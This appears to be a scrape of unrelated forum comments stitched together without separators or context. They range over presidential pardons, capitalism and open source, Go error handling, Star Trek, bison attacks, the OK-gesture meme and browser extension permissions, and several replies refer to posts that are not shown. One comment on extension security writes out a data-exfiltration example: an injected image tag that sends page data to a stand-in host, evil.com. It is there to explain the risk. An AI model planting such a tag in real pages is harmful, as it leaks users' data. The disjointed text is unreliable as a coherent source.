Oh boy, are you going to be in for a nasty surprise. Trump is going to get more powerful after this mess, but it will likely tear the GOP apart. And don't kid yourself that the Democrats love the idea of having him as an enemy if he ever runs again. Most of what you're watching is political theatre.

Thank you for sharing this, fancy_pantser. Are you the current maintainer also, or the current developer?

This is what capitalism looks like, folks. Someone "built it" so they now privately "own it", no matter how big it gets. It's not put into the hands of an organization. The profit motive is quite strong, which is why someone can be "corrupted" by very tempting messages like this. If you had a lake or a forest privately owned by one or two people, and they had a lot of debts, they could easily sell it to polluters and loggers.

Some people scoff and say "socialism has been tried, it never works." I admit that socialism simply trades one class of elites (the capitalists with a lot of shares) for another (the bureaucrats with a lot of political clout). BUT! I would like to say that socialism is not the only alternative. The other alternative is decentralized systems with no private ownership. I'm talking about science, open source software, and so on. There can be a Merkle tree of version updates (e.g. git version control) and each one can have various reputable organizations (like Zagat for software) building their reputation vetting it. Then, each community would run their own app store (think Wordpress plugins) which would work with these reputable organizations. There would be no heroes, no celebrities, no tweets at 3 am to 5 million people, no pulling from repos without peer review, no scientists instantly believed after publishing on arxiv.org .

Congratulations for building a popular extension, fancy_pantser. You live in a world where you it's really bad to "criticize the profit", and where building it means you are responsible for it no matter how big it gets, but then we are all depending on your integrity and ability to rebuff life-changing amounts of money to not mine our data. We can pass laws to punish people after the fact, or we can gradually change our culture by rejecting "immediate gratification" of updates that are not vetted, just as corporations have done with bleeding edge vs stable Linux distros etc. Unfortunately, the Web has made it so that anything can be updated at any time, with no sysadmins or reviewers in the loop. It's a wonder more malware isn't silently everywhere already.
>I wish developers had the competence to release security patches independently from functionality changes, but few do that anymore, sadly.

I remember watching Babylon 5 when I was young, but I was probably too young to grasp all the meanings. I will rewatch it, thanks!
Errors must be passed manually up a call stack if they are not handled, so in practice this encourages handling them as soon as possible. That makes it easier to find where the error is handled.

Exceptions are automatically passed up, so in practice are often caught by one catcher at the top level which is not very useful and has no idea what to do with the error.

It's a very different mechanism. There is certainly more boilerplate with the Go approach.

Yeah, I'm just familiar with exploration rigs. I was actually trying to remember if the Ocean Odyssey, which ended up being used by Sea Launch, for a launch platform, had dynamic positioning or not. I think it may have but I left before it launched and wasn't involved in that aspect of its design.

Most extensions need the ability to modify webpages. With that ability, they can easily exfiltrate data by for example adding a <img src=evil.com/?data=82374682376>.

Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.
Whats up with sprinkling of "xyz is an upstanding citizen and father to n beautiful children." ? They are clearly not an upstanding citizen - otherwise they wouldn't require a presidential pardon. Being father to children is not an achievement and any two consenting healthy adult man and woman can produce them irrespective of their standing in society. And beauty of children is a criteria for pardon now? What if the children were ugly - "clearly he doesn't deserve a pardon, look at his children!" ?! What utter bullshit.
That's one of the biggest problems I have with Star Trek. If we were literally gods by comparison to some fledgling species, the only ethical approach would be to elevate them and cure their diseases and advance their knowledge as quickly as humanly possible.

It should be noted that the Federalist papers only represent the views of a few of the Federalists (Hamilton, Madison, Jay), i.e. from one of the two major parties. The Democratic-Republicans had a greater distrust of centralized government and were more supportive of democracy and rule by the better of the average Joes (Jefferson's 'yeoman farmers' and all that).

This is quite similar to taking the views of Paul Ryan and Rand Paul and calling them representative of the US government. Those views are not extreme in the context of the time and are shared by a sizeable fraction but it's not a random or representative sample.

Hang on, if you’re certain about it being entirely trumps decision not to pardon Snowden or Assange... can we at least have a citation that McConnell cared at all about Stone Kushner or Bannon?

You declaring that those names put together are in any way equal to the weight of Snowden -or- Assange?

I never suggested Trump did want to. I suggested he could not.
I think the landmine is in looking for some kind of differentiation among humans rooted in the unique genetic patterns of groups of humans (i.e. convicts or members of a given race), not necessarily in understanding how genes shape our behavior generally.

It's only an ordinal because we've confused ourselves into saying it can be. It's the same situation as with starting to count from zero in most programming languages, and from the wikipedia page for "0th", it appears to actually be the effect of an influence of those artificial language choices onto the mathematical concept of ordinal. After all, it is in the end just a convention, and we could start calling the first element of a sequence "the zeroth" instead, but there would be no benefit for it at the language level - which is where it matters. These artificial languages we're creating should try to mold themselves to how we already use language, but the opposte is what's been happening to some degree.

America surely does not have such a shortage of well-qualified lawyers that each justice needs to serve for decades. It's certainly not an argument anyone would accept regarding the President. Just have them serve a single long term, and then that's it.

I'm sorry, I may be in the minority here but I strongly dislike this. Where I type no additional characters to start a paragraph in markdown, I'll need to type 9 characters with dumb down? Same goes for titles, subtitles, etc.? While I appreciate people trying to fix problems, I don't find the core symbols required for markdown that esoteric and for anything else I'm certain I'll have as much difficulty remembering the correct dumbdown as I would remembering the equivalent markdown.
Some bison will attack unpredictably. Antelope Island in Utah seems to have some aggressive individual bison. Two experienced trail runners were attacked and a third killed in the space of about a year.

The use of the term “code” in this way is universal among the US national laboratories and adjacent scientific computing fields.

It refers to a complete software package. So, a “hydrodynamics code” is a hydrodynamics simulation, like Gerris.

It seems peculiar but they’ve been using the term this way since the 1960’s and probably long before. Given how much of modern computer science arose from the US government scientific complex I’d say they’ve earned the right to define their own usage.

That's sound advice.

Agree that "outsource" can mean different things. If I'm building a rails app, I should "outsource" authentication to Devise or Omniauth (typically). There are lots of great options, libraries and services, commercial and open source, self hosted and operating as a SaaS.

What I always want to avoid is anyone running "create table user ( id int(32) ... )".

> But would I outsource the essential gateway to my service? Unlikely for the moment.

Do you outsource the operation of your database? Some people would never do that, as they consider it core to their business operations and have the skills to run it. Others evaluate the options and decide that outsourcing running a database makes sense for their situation.

Engineering is all about tradeoffs.
You don't need to stretch one thing across the whole screen. But you can easily have 3-5 things side by side depending on your workflow.
Here are some possibilities based on my limited knowledge of the topic:

* Because being involved with a "scandal" in such a way is an embarrassment to Jack Ma. He lost face and is ashamed to see people for a while. This is a much bigger cultural issue in China than in the west. He wants emotions around him to die down a bit.

* The regulators were asleep. Or maybe there was corruption, and an IPO which should have been stopped, almost wasn't, until Jack woke up sleeping dogs. Maybe a few people in the regulatory body have been sacked for not pulling the brakes earlier.

I believe that if Ant didn't actually violated regulatory concerns, that Jack Ma would've been in a lot less trouble.

I honestly can't see how they aren't strongly related, or how such things aren't equally interesting. It's like reporting "Trump got in trouble with the tax authority after having insulted the tax authority boss" (implying that the tax authority is "evil" and merely bullying Trump), without covering whether the tax authority actually found tax crimes that Trump is guilty of.
Oh come on. Not your first business and yet asking amateur hour questions like this? You tried some scam to shield her assets from divorce, without planning for the obvious tax consequences, and now it’s here to bite you. Pay up, and hire an adult (lawyer) to supervise your activities.

Lewandowski's pardon request was endorsed by Peter Thiel, a huge Trump backer, so he gets to be above the law. Simple.

I'm not sure how buying a M1 macbook pro will help considering it also has soldered ram?
Ok, I'm sorry but I believe you are incorrect. People do not have different brains that way. Just like they don't have different 'learning styles'. That sort of thing is a discredited myth.

I also think that it is objectively true and not only fair but also important for people to start to point out how bad these interfaces are. At some point traditions start to become a drag on society.

One of the core principles of user interface design is useful defaults. And there are many better modern editors with equal amounts of programmability as well as useable and useful defaults.
Tangential to the article, but I’m not sure why more isn’t mentioned about what I consider to be the most likely reason we haven’t been visited by aliens: they probably exist somewhere due to the sheer size of the universe, but the speed of light is indeed the fundamental limit to classical information transfer as our current understanding of physics predicts, and therefore we are simply too far away from any sort of intelligence that exists out there to contact or reach us.

It’s a simple and boring explanation but from my perspective also the most likely.
Yeah! Then italics could be <i>foo</i>, etc. We could then give this variation a cool name, like "hypertext markup language".
Domesticated cows are pretty dangerous. If they get the idea that they need to hurt you, they hurt you. A friend of mine was nearly killed by a cow a few years ago - as luck would have it the cow tried to crush him into some boggy ground so he wasn't all that crushed. If it had been solid ground he'd have been as dead as nails.

>They are clearly not an upstanding citizen

Your sole argument here is that they were convicted by a court for violating the law.

Are you saying everyone convicted by the criminal justice system is a bad human being? Because the pardon is by definition an admission of guilt, it doesn't exonerate them from what they did.

I believe the original mock up video had a boat.
The origins are totally friggin' relevant.

Firstly, the OK gesture is a deeply entrenched, familiar, everyday gesture—at least in North American culture. Only a complete moron could think that it suddenly has to do with white supremacy, and accept it for such use to the point of believing that it is a white supremacist symbol and not the OK gesture any more, so that anyone using it is a racist.

Secondly, anyone who has any doubts about it whatsoever can search for it, and learn about the 2017 4chan campaign in seconds.

Therefore, thirdly, the situations in which the gesture refers to the hoax-induced meaning are very narrow, like someone pulling the gesture on camera behind a black man's back or something like that, or a known white supremacist pulling it in courtroom. Then we know "oh, he's referring to that 4chan meme". Where by "we" I mean that minority of people who are informed about this.

And that's all it is; some damned Internet meme, and a minor one. Nobody will remember it in 5, 10, 15 years.

Do you know Dancing Baby? 1996 3D video meme of a 3D rendered dancing baby: probably the world's first viral video.

Do you remember people saying a delayed "...not!" at the end of a sentence to negate it? "I wanna be your friend ... NOT!"

In Chrome, make sure you set your less frequently used extensions to run "On click" instead of "On all sites". Extensions -> extension details -> Site access.

For dev tools and such, I set a whitelist of the sites they're allowed to run on, using that same extension details page. There's no need for your JSON formatter etc. to run on every single page you visit. Also speeds up browsing.
